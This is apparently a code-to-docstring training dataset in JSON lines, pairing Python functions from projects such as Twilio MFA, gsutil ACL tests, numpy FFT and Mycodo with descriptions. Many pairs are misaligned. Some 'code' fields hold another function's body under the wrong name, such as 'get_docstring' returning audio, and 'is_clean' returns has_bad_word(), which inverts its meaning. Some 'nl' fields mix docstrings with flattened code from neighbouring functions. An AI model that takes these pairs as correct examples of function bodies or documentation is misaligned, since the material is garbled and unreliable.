mfa_settings.TWILIO_ACCOUNT_SID\n token = mfa_settings.TWILIO_AUTH_TOKEN\n twilio_num = mfa_settings.TWILIO_SMS_POOL_SID\n if not sid or not token or not twilio_num:\n print(\"Please provide Twilio credentials to send text messages. For \"\n \"testing purposes, the MFA code is {code}\".format(code=mfa_code))\n return\n\n twilio_client = TwilioRestClient(sid, token)\n try:\n twilio_client.messages.create(\n body=strings.MFA_CODE_TEXT_MESSAGE.format(code=mfa_code),\n to=mfa_instance.phone_number,\n from_=twilio_num\n )\n except TwilioRestException as e:\n if e.code == NOT_SMS_DEVICE_CODE:\n raise InvalidPhoneNumberError()\n raise TwilioMessageError()", "nl": "Sends the MFA Code text message to the user.:param mfa_instance: :class:`MultiFactorAuth` instance to use.:param mfa_code: MFA code in the form of a string.:raises deux.exceptions.InvalidPhoneNumberError: To tell system that thisMFA object's phone number if not a valid number to receive SMS's.:raises deux.exceptions.TwilioMessageError: To tell system that Twiliofailed to send message."} {"code": "def test_invalid_endpoint_template(self):\n eeapi = make_example_external_api(\n self,\n name=self.eeapi_name,\n set_enabled=True\n )\n\n class InvalidTemplate(object):\n pass\n\n with self.assertRaises(InvalidEndpointTemplateInterface):\n eeapi.add_template(InvalidTemplate())\n", "nl": "Validate the endpoint template interface gate check"} {"code": "def __init__(self, role_arn=None, session=None, tags_as_dict=True, as_named_tuple=False, service_retry_strategy=None):\n AwsService.__init__(self,\n service_name='cloudformation',\n resource_names=RESOURCE_NAMES,\n resources_with_tags=RESOURCES_WITH_TAGS,\n role_arn=role_arn,\n session=session,\n tags_as_dict=tags_as_dict,\n as_named_tuple=as_named_tuple,\n custom_result_paths=CUSTOM_RESULT_PATHS,\n service_retry_strategy=service_retry_strategy)\n", "nl": ":param role_arn: Optional (cross account) role to use to retrieve services:param session: Optional session to use to retrieve services:param tags_as_dict: Set to True true to convert resource tags to dictionaries:param as_named_tuple: Set to True to return resources as named tuples instead of a dictionary:param service_retry_strategy: service retry strategy for making boto api calls"} {"code": "def get_docstring(cls, processor, param, default):\n audio = utterance.load_audio()\n\n if self.features == 'bottleneck':\n self.log.debug(\n 'resampling audio from %dHz@%db to %dHz@%db',\n audio.sample_rate, audio.dtype.itemsize * 8, 8000, 16)\n\n audio = audio.resample(8000).astype(np.int16)\n self._audio_metadata[utterance.audio_file] = (\n Audio._metadata(\n audio.nchannels, audio.sample_rate,\n audio.nsamples, audio.duration))\n return audio\n", "nl": "Returns the docstring of a given processor's parameter# extract the raw docstringdocstring = getattr(cls.get_processor_class(processor), param).__doc__ or ''# postprocess to adapt Python docstring to the YAML output# (also adds default value)docstring = re.sub(r'\\n\\n', '. ', docstring)docstring = re.sub(r'\\n', ' ', docstring)docstring = re.sub(r'`', '', docstring)docstring = re.sub(':func:', '', docstring)docstring += '. Default is {}.'.format(default)docstring = re.sub(r'\\.+', '.', docstring)docstring = re.sub(r' +', ' ', docstring)docstring = re.sub(r'\\. \\.', '.', docstring)return docstring.strip()def get_audio(self, utterance):Returns the audio data for that `utterance`"} {"code": "def testTooFewArgumentsFails(self):\n bucket_uri = self.CreateBucket()\n obj_uri = suri(\n self.CreateObject(bucket_uri=bucket_uri,\n object_name='foo',\n contents=b'foo'))\n acl_string = self.RunGsUtil(self._get_acl_prefix + [obj_uri],\n return_stdout=True)\n self.RunGsUtil(self._set_acl_prefix +\n ['-f', 'public-read',\n suri(bucket_uri) + 'foo2', obj_uri],\n expected_status=1)\n acl_string2 = self.RunGsUtil(self._get_acl_prefix + [obj_uri],\n return_stdout=True)\n self.assertNotEqual(acl_string, acl_string2)\n\n\nclass TestS3CompatibleAcl(TestAclBase):\n \"\"\"ACL integration tests that work for s3 and gs URLs.\"\"\"", "nl": "Tests calling ACL commands with insufficient number of arguments.# No arguments for get, but valid subcommand.stderr = self.RunGsUtil(self._get_acl_prefix,return_stderr=True,expected_status=1)self.assertIn('command requires at least', stderr)# No arguments for set, but valid subcommand.stderr = self.RunGsUtil(self._set_acl_prefix,return_stderr=True,expected_status=1)self.assertIn('command requires at least', stderr)# No arguments for ch, but valid subcommand.stderr = self.RunGsUtil(self._ch_acl_prefix,return_stderr=True,expected_status=1)self.assertIn('command requires at least', stderr)# Neither arguments nor subcommand.stderr = self.RunGsUtil(['acl'], return_stderr=True, expected_status=1)self.assertIn('command requires at least', stderr)def testMinusF(self):Tests -f option to continue after failure."} {"code": "def setup(self):\n self.session = self.get_session()\n runner = self.session.cmd_output\n\n try:\n LOG.info(\"Prepare to configure IPv6 test environment...\")\n local_ipv6_addr_list = self.get_addr_list()\n\n ipv6_addr_src = self.client_ipv6_addr.split('/')[0]\n ipv6_addr_des = self.server_ipv6_addr.split('/')[0]\n\n if ipv6_addr_src not in local_ipv6_addr_list:\n set_net_if_ip(self.client_ifname, self.client_ipv6_addr)\n self.client_ipv6_added = True\n else:\n LOG.debug(\n \"Skip to add the existing ipv6 address %s\",\n ipv6_addr_src)\n\n self.session = self.get_session()\n runner = self.session.cmd_output\n remote_ipv6_addr_list = self.get_addr_list(runner)\n\n if ipv6_addr_des not in remote_ipv6_addr_list:\n set_net_if_ip(\n self.server_ifname,\n self.server_ipv6_addr,\n runner)\n self.server_ipv6_added = True\n else:\n LOG.debug(\n \"Skip to add the existing ipv6 address %s\",\n ipv6_addr_des)\n\n if self.check_ipv6_connectivity == \"yes\":\n ipv6_addr_des = self.server_ipv6_addr.split('/')[0]\n self.check_connectivity(self.client_ifname, ipv6_addr_des)\n self.flush_ip6tables()\n except Exception as e:\n self.close_session()\n raise exceptions.TestError(\n \"Failed to setup IPv6 environment!!:%s\", e)\n", "nl": "Setup IPv6 network environment."} {"code": "def _resolve_model(model):\n manager method. Note that at a lower level, for safety, the postgres_search\n backend ALSO does escaping and quoting for us: See Lexeme().as_sql() in\n https://github.com/wagtail/wagtail/blob/master/wagtail/contrib/postgres_search/query.py\n \"\"\"", "nl": "Given an 'app.Model' string or model return a model.return apps.get_model(model) if isinstance(model, str) else modeldef prep_search_terms(terms: str) -> str:Fix up provided terms ready for passing to Wagtail's .search() model"} {"code": "def is_clean(self, input_text):\n return self.has_bad_word(input_text)", "nl": "Returns True if input_text doesn't contain any profane words, False otherwise.return not self.has_bad_word(input_text)def is_profane(self, input_text):Returns True if input_text contains any profane words, False otherwise."} {"code": "def constraints_pass_positive_value(mod_dev, value):\n errors = []\n all_passed = True\n if value <= 0:\n all_passed = False\n errors.append(\"Must be a positive value\")\n return all_passed, errors, mod_dev\n", "nl": "Check if the user input is acceptable:param mod_dev: SQL object with user-saved options:param value: float or int:return: tuple: (bool, list of strings)"} {"code": "def intBitsToFloat(frame: Frame):\n bits = frame.local_vars.get_numeric(0)\n s = struct.pack('>l', ctypes.c_uint32(bits).value)\n value = struct.unpack('>f', s)[0]\n frame.operand_stack.push_float(value)\n\n\njlFloat = \"java/lang/Float\"\nregister(jlFloat, \"floatToRawIntBits\", \"(F)I\", floatToRawIntBits)\nregister(jlFloat, \"intBitsToFloat\", \"(I)F\", intBitsToFloat)", "nl": "public static native float intBitsToFloat(int bits);(I)F:param frame::return:"} {"code": "def parse(cls, nic_attr_xml):\n\n if str(value) not in self.possible_values:\n msg = (\"Attribute '%(attr)s' cannot be set to value '%(val)s'.\"\n \" It must be in %(possible_values)r.\") % {\n 'attr': self.name,\n 'val': value,\n 'possible_values': self.possible_values}\n return msg\n\n return None\n\n\nclass NICStringAttribute(NICAttribute):\n \"\"\"String NIC attribute class.\"\"\"", "nl": "Parse XML and create a NICEnumerationAttribute object.nic_attr = NICAttribute.parse(cls.namespace, nic_attr_xml)possible_values = [attr.text for attrin utils.find_xml(nic_attr_xml,'PossibleValues',cls.namespace,find_all=True)]return cls(nic_attr.name,nic_attr.instance_id,nic_attr.current_value,nic_attr.pending_value,nic_attr.read_only,nic_attr.fqdd,possible_values)def validate(self, value):Validate new value."} {"code": "def ifftn(a, s=None, axes=None, norm=None):\n\n return _raw_fftnd(a, s, axes, ifft, norm)\n\n", "nl": "Compute the N-dimensional inverse discrete Fourier Transform.This function computes the inverse of the N-dimensional discreteFourier Transform over any number of axes in an M-dimensional array bymeans of the Fast Fourier Transform (FFT). In other words,``ifftn(fftn(a)) == a`` to within numerical accuracy.For a description of the definitions and conventions used, see `numpy.fft`.The input, analogously to `ifft`, should be ordered in the same way as isreturned by `fftn`, i.e. it should have the term for zero frequencyin all axes in the low-order corner, the positive frequency terms in thefirst half of all axes, the term for the Nyquist frequency in the middleof all axes and the negative frequency terms in the second half of allaxes, in order of decreasingly negative frequency.Parameters----------a : array_likeInput array, can be complex.s : sequence of ints, optionalShape (length of each transformed axis) of the output(``s[0]`` refers to axis 0, ``s[1]`` to axis 1, etc.).This corresponds to ``n`` for ``ifft(x, n)``.Along any axis, if the given shape is smaller than that of the input,the input is cropped. If it is larger, the input is padded with zeros.if `s` is not given, the shape of the input along the axes specifiedby `axes` is used. See notes for issue on `ifft` zero padding.axes : sequence of ints, optionalAxes over which to compute the IFFT. If not given, the last ``len(s)``axes are used, or all axes if `s` is also not specified.Repeated indices in `axes` means that the inverse transform over thataxis is performed multiple times.norm : {None, \"ortho\"}, optional.. versionadded:: 1.10.0Normalization mode (see `numpy.fft`). Default is None.Returns-------out : complex ndarrayThe truncated or zero-padded input, transformed along the axesindicated by `axes`, or by a combination of `s` or `a`,as explained in the parameters section above.Raises------ValueErrorIf `s` and `axes` have different length.IndexErrorIf an element of `axes` is larger than than the number of axes of `a`.See Also--------numpy.fft : Overall view of discrete Fourier transforms, with definitionsand conventions used.fftn : The forward *n*-dimensional FFT, of which `ifftn` is the inverse.ifft : The one-dimensional inverse FFT.ifft2 : The two-dimensional inverse FFT.ifftshift : Undoes `fftshift`, shifts zero-frequency terms to beginningof array.Notes-----See `numpy.fft` for definitions and conventions used.Zero-padding, analogously with `ifft`, is performed by appending zeros tothe input along the specified dimension. Although this is the commonapproach, it might lead to surprising results. If another form of zeropadding is desired, it must be performed before `ifftn` is called.Examples-------->>> a = np.eye(4)>>> np.fft.ifftn(np.fft.fftn(a, axes=(0,)), axes=(1,))array([[ 1.+0.j, 0.+0.j, 0.+0.j, 0.+0.j],[ 0.+0.j, 1.+0.j, 0.+0.j, 0.+0.j],[ 0.+0.j, 0.+0.j, 1.+0.j, 0.+0.j],[ 0.+0.j, 0.+0.j, 0.+0.j, 1.+0.j]])Create and plot an image with band-limited frequency content:>>> import matplotlib.pyplot as plt>>> n = np.zeros((200,200), dtype=complex)>>> n[60:80, 20:40] = np.exp(1j*np.random.uniform(0, 2*np.pi, (20, 20)))>>> im = np.fft.ifftn(n).real>>> plt.imshow(im)>>> plt.show()"} {"code": "def test_disconnectAfterWriteAfterStartTLS(self):\n class ShortProtocol(Protocol):", "nl": "L{ITCPTransport.loseConnection} ends a connection which was set up withL{ITLSTransport.startTLS} and which has recently been written to. Thisis intended to verify that a socket send error masked by the TLSimplementation doesn't prevent the connection from being reported asclosed."} {"code": "def test_iter(self):\n tree = ast.parse(code)\n m = codebook.node_transformers.FirstPassForSimple(buffer='foo').visit(tree)\n out = astor.to_source(m)\n self.assertIn('iter', out)\n", "nl": "code = for i in range(5):print(i)"} {"code": "def create_env_error_message(error, show_traceback, using_user_site):\n parts = []\n\n parts.append(\"Could not install packages due to an EnvironmentError\")\n if not show_traceback:\n parts.append(\": \")\n parts.append(str(error))\n else:\n parts.append(\".\")\n\n parts[-1] += \"\\n\"\n\n if error.errno == errno.EACCES:\n user_option_part = \"Consider using the `--user` option\"\n permissions_part = \"Check the permissions\"\n\n if not using_user_site:\n parts.extend([\n user_option_part, \" or \",\n permissions_part.lower(),\n ])\n else:\n parts.append(permissions_part)\n parts.append(\".\\n\")\n\n return \"\".join(parts).strip() + \"\\n\"", "nl": "Format an error message for an EnvironmentErrorIt may occur anytime during the execution of the install command."} {"code": "def copy(self, default=None):", "nl": "Add ' (Copy)' in name to prevent attributehaving same name while copying"} {"code": "def closed(self):\n", "nl": "Returns true if the stream has been closed.return self._closeddef set_nodelay(self, value):Sets the no-delay flag for this stream."} {"code": "def _bypass_ensure_directory(path):\n\n Each ``section`` is a stripped version of the section header (\"[section]\")\n and each ``content`` is a list of stripped lines excluding blank lines and\n comment-only lines. If there are any such lines before the first section\n header, they're returned in a first ``section`` of ``None``.\n \"\"\"", "nl": "Sandbox-bypassing version of ensure_directory()if not WRITE_SUPPORT:raise IOError('\"os.mkdir\" not supported on this platform.')dirname, filename = split(path)if dirname and filename and not isdir(dirname):_bypass_ensure_directory(dirname)mkdir(dirname, 0o755)def split_sections(s):Split a string or iterable thereof into (section, content) pairs"} {"code": "def _regularize_1m_dataset(temp_dir):\n working_dir = os.path.join(temp_dir, ML_1M)\n\n _transform_csv(\n input_path=os.path.join(working_dir, \"ratings.dat\"),\n output_path=os.path.join(temp_dir, RATINGS_FILE),\n names=RATING_COLUMNS, skip_first=False, separator=\"::\")\n\n _transform_csv(\n input_path=os.path.join(working_dir, \"movies.dat\"),\n output_path=os.path.join(temp_dir, MOVIES_FILE),\n names=MOVIE_COLUMNS, skip_first=False, separator=\"::\")\n\n tf.io.gfile.rmtree(working_dir)\n\n", "nl": "ratings.datThe file has no header row, and each line is in the following format:UserID::MovieID::Rating::Timestamp- UserIDs range from 1 and 6040- MovieIDs range from 1 and 3952- Ratings are made on a 5-star scale (whole-star ratings only)- Timestamp is represented in seconds since midnight Coordinated UniversalTime (UTC) of January 1, 1970.- Each user has at least 20 ratingsmovies.datEach line has the following format:MovieID::Title::Genres- MovieIDs range from 1 and 3952"} {"code": "def cache(self, cache):\n if self.local_vars_configuration.client_side_validation and cache is None:\n raise ValueError(\"Invalid value for `cache`, must not be `None`\")\n\n self._cache = cache\n\n @property", "nl": "Sets the cache of this V1alpha1Memoize.:param cache: The cache of this V1alpha1Memoize. # noqa: E501:type: V1alpha1Cache"} {"code": "def testForwardPass(self):\n data, learner = self.set_up_learner()\n loss = learner.compute_loss(\n data.onehot_labels,\n tf.cast(data.onehot_labels, tf.float32),\n )\n with self.session():\n self.evaluate(tf.compat.v1.local_variables_initializer())\n self.evaluate(tf.compat.v1.global_variables_initializer())\n self.evaluate(loss)\n", "nl": "Assert that the learner obeys the API for `forward_pass`.data, learner = self.set_up_learner()outputs = learner.forward_pass(data)self.assertEqual(len(outputs.get_shape().as_list()), 2)with self.session():self.evaluate(tf.compat.v1.local_variables_initializer())self.evaluate(tf.compat.v1.global_variables_initializer())self.evaluate(outputs)def testComputeLoss(self):Assert that the learner obeys the API for `compute_loss`."} {"code": "def setup_join_cache(sender):\n sender._meta._join_cache = {}\n\ndispatcher.connect(setup_join_cache, signal=signals.class_prepared)\n", "nl": "The information needed to join between model fields is something that isinvariant over the life of the model, so we cache it in the model's Optionsclass, rather than recomputing it all the time.This method initialises the (empty) cache when the model is created."} {"code": "def _try_acquire(self):\n try:\n cm = self._get_cm()\n if not cm or self._is_lock_expired(cm):\n return self._try_lock_cm(cm)\n elif self._is_cm_mine(cm):\n return True\n except Exception as ex:\n log.error(\"Failed to acquire leader status: %s\" % str(ex))\n return False\n", "nl": "_try_acquire tries to acquire the CM lock and return leader statusi.e. whether it succeeded or failed.note: if the CM already exists, is fresh, and the creator is the local node,this agent is elected leader. It means agents were re-deployed quicklyand the expiry time is not up yet."} {"code": "def p_repeat3(self, p):\n p[0] = [(self.t_R_RBRACE, 1)] + \\\n [(i[0], i[1] + 1) for i in self.next_token_stmt()]\n", "nl": "repeat3 : repeat2 R_LBRACEp[0] = [(i[0], i[1] + 1) for i in self.next_token_stmt()]def p_repeat4(self, p):repeat4 : repeat3 stmt"} {"code": "def parse(line,):\n sample = json.loads(line)\n doc_html = sample[\"document_html\"]\n example_id = sample[\"example_id\"]\n question_text = sample[\"question_text\"]\n document_title = sample[\"document_title\"]\n document_url = sample[\"document_url\"]\n html_bytes = doc_html.encode()\n\n annotations_spans, table_spans = _get_spans(html_bytes, sample[\"annotations\"])\n\n if not table_spans or not annotations_spans:\n if not table_spans:\n beam.metrics.Metrics.counter(_NS, \"Examples without tables\").inc()\n if not annotations_spans:\n beam.metrics.Metrics.counter(_NS, \"Examples without short answers\").inc()\n return {\n \"example_id\": example_id,\n \"contained\": False,\n \"tables\": [],\n \"interactions\": [],\n }\n\n span_to_table = _get_span_to_table(\n document_title,\n document_url,\n table_spans,\n tables=[html_bytes[begin:end] for begin, end in table_spans],\n )\n\n answer_texts = []\n for answers in annotations_spans:\n answer_texts.append([\n _strip_tags(html_bytes[ans_start:ans_end].decode(\"utf-8\"))\n for ans_start, ans_end in answers\n ])\n interactions = list(\n _extract_interaction(\n annotations_spans,\n span_to_table,\n answer_texts,\n example_id,\n question_text,\n ))\n return {\n \"example_id\": example_id,\n \"contained\": bool(interactions),\n \"tables\": [table for table in span_to_table.values() if table],\n \"interactions\": interactions,\n }\n\n\n_MAX_INT = 2**64 - 1\n\n", "nl": "Parses example and extracts an interaction if any answer is in a table.Args:line: serialized NQ json dict.Returns:Mapping with interactions and tables."} {"code": "def broadcast_destroy_information(self, No_destroy, environment_positions, destroy_list):\n visited = np.zeros(config_num_of_agents)\n counter = 0\n stack = Stack()\n stack.push(No_destroy)\n visited[No_destroy] = 1\n counter += 1\n\n virtual_positions = []\n\n virtual_positions = deepcopy(environment_positions)\n\n virtual_positions = np.array(virtual_positions, dtype=np.float64)\n A = Utils.make_A_matrix(virtual_positions, config_num_of_agents, config_communication_range)\n\n while stack.length() != 0:\n current = stack.top_element()\n flag = True\n temp_counter = 0\n for i in range(config_num_of_agents):\n if A[current, i] == 1 and visited[temp_counter] == 0:\n visited[temp_counter] = 1\n counter += 1\n stack.push(i)\n flag = False\n break\n temp_counter += 1\n if flag:\n stack.pop()\n\n for i in range(config_num_of_agents):\n if visited[i] == 1:\n self.database[i][\"existing_list\"].remove(No_destroy)\n", "nl": "Broadcast according to the environment positions:param No_destroy::param environment_positions::return:"} {"code": "def controller_deactivate(self, cont_id):\n cont_type = self.determine_controller_type(cont_id)\n if cont_id in self.controller[cont_type]:\n if self.controller[cont_type][cont_id].is_running():\n try:\n if cont_type == 'Conditional':\n controller_table = Conditional\n elif cont_type == 'Input':\n controller_table = Input\n elif cont_type == 'PID':\n controller_table = PID\n elif cont_type == 'Trigger':\n controller_table = Trigger\n elif cont_type == 'Function':\n controller_table = CustomController\n else:\n message = f\"'{cont_type}' not a valid controller type.\"\n self.logger.error(message)\n return 1, message\n\n if controller_table:\n with session_scope(MYCODO_DB_PATH) as new_session:\n mod_cont = new_session.query(controller_table).filter(\n controller_table.unique_id == cont_id).first()\n if not mod_cont:\n message = f\"{cont_type} controller with ID {cont_id} not found.\"\n self.logger.error(message)\n return 1, message\n else:\n mod_cont.is_activated = False\n new_session.commit()\n\n if cont_type == 'PID':\n self.controller[cont_type][cont_id].stop_controller(deactivate_pid=True)\n else:\n self.controller[cont_type][cont_id].stop_controller()\n self.controller[cont_type][cont_id].join()\n\n message = f\"{cont_type} controller with ID {cont_id} deactivated.\"\n self.logger.debug(message)\n return 0, message\n except Exception as except_msg:\n message = f\"Could not deactivate {cont_type} controller with \" \\\n f\"ID {cont_id}: {except_msg}\"\n self.logger.exception(message)\n return 1,\n finally:\n self.controller[cont_type].pop(cont_id, None)\n\n else:\n message = f\"Could not deactivate {cont_type} controller with ID \" \\\n f\"{cont_id}, it's not active.\"\n self.logger.error(message)\n return 1, message\n else:\n message = f\"{cont_type} controller with ID {cont_id} not found\"\n self.logger.error(message)\n return 1, message\n\n", "nl": "Deactivate currently-active controller:return: 0 for success, 1 for fail, with success or error message:rtype: int, str:param cont_id: Unique ID for controller:type cont_id: str"} {"code": "def as_array(obj, shape=None):\n if isinstance(obj, ctypes._Pointer):\n if shape is None:\n raise TypeError(\n 'as_array() requires a shape argument when called on a '\n 'pointer')\n p_arr_type = ctypes.POINTER(_ctype_ndarray(obj._type_, shape))\n obj = ctypes.cast(obj, p_arr_type).contents\n\n return array(obj, copy=False)\n\n", "nl": "Create a numpy array from a ctypes array or POINTER.The numpy array shares the memory with the ctypes object.The shape parameter must be given if converting from a ctypes POINTER.The shape parameter is ignored if converting from a ctypes array"} {"code": "def strip(s, chars=None):\n return s.strip(chars)\n", "nl": "strip(s [,chars]) -> stringReturn a copy of the string s with leading and trailingwhitespace removed.If chars is given and not None, remove characters in chars instead.If chars is unicode, S will be converted to unicode before stripping."} {"code": "def contexts_by_lineno(self, filename):\n self._start_using()\n with self._connect() as con:\n file_id = self._file_id(filename)\n if file_id is None:\n return {}\n", "nl": "Get the contexts for each line in a file.Returns:A dict mapping line numbers to a list of context names... versionadded:: 5.0"} {"code": "def test_max_runtime(max_runtime):\n stop = MaxRuntime(max_runtime)\n assert_equal(stop.max_runtime, max_runtime)\n\n\n@pytest.mark.parametrize(\"max_runtime\", [0.01, 0.05, 0.10])", "nl": "Test if the max time parameter is correctly set."} {"code": "def set_value(environment_variable, value):\n match_prefix = '(.*[^a-zA-Z]|^)%s'\n matches_tool = re.match(match_prefix % tool_name.lower(), job_name.lower())\n return bool(matches_tool)\n\n", "nl": "Set an environment variable.value_str = str(value)environment_variable_str = str(environment_variable)value_str = value_str.replace('%ROOT_DIR%', os.getenv('ROOT_DIR', ''))os.environ[environment_variable_str] = value_strif is_trusted_host():from clusterfuzz._internal.bot.untrusted_runner import \\environment as untrusted_envuntrusted_env.forward_environment_variable(environment_variable_str,value_str)def tool_matches(tool_name, job_name):Return if the memory debugging tool is used in this job."} {"code": "def sequence_reset_sql(self, style, model_list):", "nl": "Returns a list of the SQL statements required to reset sequences forthe given models.The `style` argument is a Style object as returned by eithercolor_style() or no_style() in django.core.management.color."} {"code": "def get_extents(self):\n extents = self.get_extents()\n\n if not extents:\n return False\n\n if extents.x <= x <= extents.x + extents.width and extents.y <= y <= extents.y + extents.height:\n return self._stroke_context is None or self._stroke_context.in_fill(x, y)\n else:\n return False\n", "nl": "measure the extents of the sprite's graphics.if self._sprite_dirty:# redrawing merely because we need fresh extents of the spritecontext = cairo.Context(cairo.ImageSurface(cairo.FORMAT_A1, 0, 0))context.transform(self.get_matrix())self.emit(\"on-render\")self.__dict__[\"_sprite_dirty\"] = Falseself.graphics._draw(context, 1)if not self.graphics.paths:self.graphics._draw(cairo.Context(cairo.ImageSurface(cairo.FORMAT_A1, 0, 0)), 1)if not self.graphics.paths:return Nonecontext = cairo.Context(cairo.ImageSurface(cairo.FORMAT_A1, 0, 0))# bit of a hack around the problem - looking for clip instructions in parent# so extents would not get out of itclip_extents = Nonefor parent in self.get_parents():context.transform(parent.get_local_matrix())if parent.graphics.paths:clip_regions = []for instruction, type, path in parent.graphics.paths:if instruction == \"clip\":context.append_path(path)context.save()context.identity_matrix()clip_regions.append(context.fill_extents())context.restore()context.new_path()elif instruction == \"restore\" and clip_regions:clip_regions.pop()for ext in clip_regions:ext = get_gdk_rectangle(int(ext[0]), int(ext[1]), int(ext[2] - ext[0]), int(ext[3] - ext[1]))intersect, clip_extents = gdk.rectangle_intersect((clip_extents or ext), ext)context.transform(self.get_local_matrix())for instruction, type, path in self.graphics.paths:if type == \"path\":context.append_path(path)else:getattr(context, instruction)(*path)context.identity_matrix()ext = context.path_extents()ext = get_gdk_rectangle(int(ext[0]), int(ext[1]),int(ext[2] - ext[0]), int(ext[3] - ext[1]))if clip_extents:intersect, ext = gdk.rectangle_intersect(clip_extents, ext)if not ext.width and not ext.height:ext = Noneself.__dict__['_stroke_context'] = contextreturn extdef check_hit(self, x, y):check if the given coordinates are inside the sprite's fill or stroke path"} {"code": "def is_empty_element(self):\n return len(self.contents) == 0 and self.can_be_empty_element\n isSelfClosing = is_empty_element\n\n @property", "nl": "Is this tag an empty-element tag? (aka a self-closing tag)A tag that has contents is never an empty-element tag.A tag that has no contents may or may not be an empty-elementtag. It depends on the builder used to create the tag. If thebuilder has a designated list of empty-element tags, then onlya tag whose name shows up in that list is considered anempty-element tag.If the builder has no designated list of empty-element tags,then any tag with no contents is an empty-element tag."} {"code": "def test_badExchangeExcluded(self):\n domain = \"example.com\"\n good = \"good.example.com\"\n bad = \"bad.example.com\"\n\n records = [\n RRHeader(name=domain,\n type=Record_MX.TYPE,\n payload=Record_MX(0, bad)),\n RRHeader(name=domain,\n type=Record_MX.TYPE,\n payload=Record_MX(1, good))]\n self.mx.markBad(bad)\n return self._exchangeTest(domain, records, good)\n\n", "nl": "L{MXCalculator.getMX} returns the MX record with the lowest preferencewhich is not also marked as bad."} {"code": "def _test_disconnected(self, story, fact):\n all_entities = self._unique_nodes(story)\n all_fact_entities = self._unique_nodes(fact)\n assert len(all_entities.intersection(all_fact_entities)) == 0\n", "nl": "Given a story and the fact, check whether the fact is a disconnected factIf irrelevant, then there would be no node match between story and fact:param story: Array of tuples:param fact: Array of tuples:return:"} {"code": "def _filterMetricsReadyForPromotion(metricsConfig, allCustomMetrics):\n configuredMetricNames = set(\n metric_utils.getMetricNamesFromConfig(metricsConfig))\n\n return tuple(\n obj[\"name\"] for obj in allCustomMetrics\n if obj[\"status\"] == _METRIC_STATUS_UNMONITORED and\n obj[\"name\"] in configuredMetricNames and\n obj[\"last_rowid\"] >= _NUM_METRIC_DATA_ROWS_THRESHOLD)\n\n\n", "nl": "Determine which metrics need to be promoted to models.The qualified metrics meet the following criteria:1. Presently not monitored2. Metric's name exists in metric collector's current metrics configuration3. The metric has at least _NUM_METRIC_DATA_ROWS_THRESHOLD metric dataelements in Taurus Engine:param dict metricsConfig: Metric configuration object that defines allinstances and metrics for all data collectors; as returned by`metric_utils.getMetricsConfiguration()`:param sequence allCustomMetrics: Custom metric info dicts fromTaurus Engine as returned by `metric_utils.getAllCustomMetrics()`:returns: Names of of metrics that need to be promoted to models:rtype: sequence"} {"code": "def _mock_treat_devices_added_updated(self, details, port, func_name):\n with mock.patch.object(self.agent.plugin_rpc,\n 'get_devices_details_list_and_failed_devices',\n return_value={'devices': [details],\n 'failed_devices': []}),\\\n mock.patch.object(self.agent.int_br,\n 'get_vifs_by_ids',\n return_value={details['device']: port}),\\\n mock.patch.object(self.agent.plugin_rpc, 'update_device_list',\n return_value={'devices_up': [],\n 'devices_down': details,\n 'failed_devices_up': [],\n 'failed_devices_down': []}),\\\n mock.patch.object(self.agent.int_br,\n 'get_port_tag_dict',\n return_value={}),\\\n mock.patch.object(self.agent, func_name) as func:\n skip_devs, _, need_bound_devices, _, _, _ = (\n self.agent.treat_devices_added_or_updated([], False, set()))\n self.assertFalse(skip_devs)\n return func.called\n", "nl": "Mock treat devices added or updated.:param details: the details to return for the device:param port: the port that get_vif_port_by_id should return:param func_name: the function that should be called:returns: whether the named function was called"} {"code": "def __init__(self, item):\n\n This restores the log levels changed by :meth:`set_level`.\n \"\"\"", "nl": "Creates a new funcarg.self._item = item# dict of log name -> log levelself._initial_log_levels = {} # Dict[str, int]def _finalize(self):Finalizes the fixture."} {"code": "def wikiDescColdEmbExp(self, ckptName=\"FigerModel-20001\"):\n assert self.batch_size == 1\n print(\"Loaded Cold Start Class. \")\n print(\"Size of cold entities : {}\".format(len(self.coldWid2DescVecs)))\n\n saver = tf.train.Saver(var_list=tf.all_variables(), max_to_keep=5)\n\n print(\"Loading Model ... \")\n if ckptName == None:\n print(\"Given CKPT Name\")\n sys.exit()\n else:\n load_status = self.fm.loadSpecificCKPT(\n saver=saver, checkpoint_dir=self.fm.checkpoint_dir,\n ckptName=ckptName, attrs=self.fm._attrs)\n if not load_status:\n print(\"No model to load. Exiting\")\n sys.exit(0)\n\n iter_done = self.fm.global_step.eval()\n print(\"[\n\n self._makeDescLossGraph()\n self.fm.sess.run(tf.initialize_variables(self.allcoldvars))\n\n print(\"Getting Encoded Description Vectors\")\n descEncodedMatrix = []\n for idx in range(0, len(self.idx2coldwid)):\n wid = self.idx2coldwid[idx]\n desc_vec = self.coldWid2DescVecs[wid]\n feed_dict = {self.fm.wikidesc_batch: [desc_vec]}\n desc_encoded = self.fm.sess.run(self.fm.wikidescmodel.desc_encoded,\n feed_dict=feed_dict)\n descEncodedMatrix.append(desc_encoded[0])\n\n print(\"Initialization Experiment\")\n self.runEval()\n\n print(\"Assigning Cold Embeddings from Wiki Desc Encoder ...\")\n self.fm.sess.run(self.assignColdEmbs,\n feed_dict={self.coldEnEmbsToAssign:descEncodedMatrix})\n\n print(\"After assigning based on Wiki Encoder\")\n self.runEval()\n", "nl": " Assign cold entity embeddings as wiki desc encoding"} {"code": "def fidelity_coherent(self, alpha_list, **kwargs):\n if len(alpha_list) != self._modes:\n raise ValueError(\n \"The alpha_list argument must be the same length as the number of modes.\"\n )\n\n if not isinstance(alpha_list, np.ndarray):\n alpha_list = np.array(alpha_list)\n\n modes = list(range(self._modes))\n\n if len(modes) == 0:\n return 1.0\n\n alpha_mean = []\n for i in range(len(modes)):\n alpha_mean.append(alpha_list.real[i] * np.sqrt(2 * self.hbar))\n alpha_mean.append(alpha_list.imag[i] * np.sqrt(2 * self.hbar))\n\n alpha_mean = np.array(alpha_mean)\n deltas = self._mus - alpha_mean\n\n cov_sum = self._covs + self._hbar * np.eye(2 * len(modes)) / 2\n exp_arg = np.einsum(\"...j,...jk,...k\", deltas, np.linalg.inv(cov_sum), deltas)\n weighted_exp = (\n np.array(self._weights)\n * self._hbar ** len(modes)\n * np.exp(-0.5 * exp_arg)\n / np.sqrt(np.linalg.det(cov_sum))\n )\n\n fidelity = np.sum(weighted_exp)\n return fidelity\n", "nl": "rReturns the fidelity to a coherent state.Args:alpha_list (array): amplitudes for coherent statesReturns:float: fidelity of the state in modes to the coherent state alpha"} {"code": "def __init__(self, do_lower_case=False, never_split=None, normalize_text=True, mecab_option: Optional[str] = None):\n self.do_lower_case = do_lower_case\n self.never_split = never_split if never_split is not None else []\n self.normalize_text = normalize_text\n\n import fugashi\n import ipadic\n", "nl": "Constructs a 